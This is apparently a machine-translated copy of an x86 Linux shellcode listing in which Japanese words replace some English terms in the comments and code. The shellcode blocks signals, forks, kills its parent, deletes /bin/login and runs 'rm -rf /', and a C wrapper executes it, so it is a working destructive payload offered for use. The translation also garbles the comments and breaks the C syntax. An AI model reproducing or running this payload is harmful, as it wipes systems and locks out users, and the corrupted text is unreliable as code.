このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* x86 linux rm -rf / which 試みる/企てるs to 封鎖する the 過程 from 存在 stopped 132 bytes written by onionring */ main() { char shellcode[] = "\x31\xC0" // xor eax, eax "\x89\xC3" // mov ebx, eax "\x89\xC1" // mov ecx, eax "\x41" // inc ecx "\xB0\x30" // mov al, 0x30 ; sys_signal "\xCD\x80" // int 0x80 "\x31\xC0" // xor eax, eax "\xFE\xC3" // inc bl "\x80\xFB\x1F" // cmp bl, 0x1f "\x72\xF3" // jb 0xf3 "\x04\x40" // 追加する al, 0x40 ; sys_getppid "\xCD\x80" // int 0x80 "\x89\xC2" // mov edx, eax "\x31\xC0" // xor eax, eax "\xB0\x02" // mov al, 0x2 ; sys_fork "\xCD\x80" // int 0x80 "\x39\xC0" // cmp eax, eax "\x74\x08" // jnz 0x8 "\x31\xC0" // xor eax, eax "\x89\xC3" // mov ebx, eax "\xB0\x01" // mov al, 0x1 ; sys_exit "\xCD\x80" // int 0x80 "\x31\xC0" // xor eax, eax "\xB0\x42" // mov al, 0x42 ; sys_setsid "\xCD\x80" // int 0x80 "\x43" // inc ebx "\x39\xDA" // cmp edx, ebx "\x74\x08" // jz 0x8 "\x89\xD3" // mov ebx, edx "\x31\xC0" // xor eax, eax "\x04\x25" // 追加する al, 0x25 ; sys_kill "\xCD\x80" // int 0x80 "\x31\xC0" // xor eax, eax "\x50" // 押し進める eax "\x68\x6F\x67\x69\x6E" // 押し進める "ogin" "\x68\x69\x6E\x2F\x6C" // 押し進める "in/l" "\x68\x2F\x2F\x2F\x62" // 押し進める "///b" "\x89\xE3" // mov ebx, esp "\x31\xC0" // xor eax, eax "\x04\x0A" // 追加する al, 0xa ; sys_unlink "\xCD\x80" // int 0x80 "\x31\xC0" // xor eax, eax "\x50" // 押し進める eax "\x68\x2F\x2F\x2F\x2F" // 押し進める "////" "\x89\xE2" // mov edx, esp "\x50" // 押し進める eax "\x68\x2D\x72\x66\x66" // 押し進める "-rff" "\x89\xE1" // mov ecx, esp "\x50" // 押し進める eax "\x68\x6E\x2F\x72\x6D" // 押し進める "n/rm" "\x68\x2F\x2F\x62\x69" // 押し進める "//bi" "\x89\xE3" // mov ebx, esp "\x50" // 押し進める eax "\x52" // 押し進める edx "\x51" // 押し進める ecx "\x53" // 押し進める ebx "\x89\xE1" // mov ecx, esp "\x31\xD2" // xor edx, edx "\x04\x0B" // 追加する al, 0xb ; sys_execve "\xCD\x80"; // int 0x80 (*(無効の (*)()) shellcode)(); }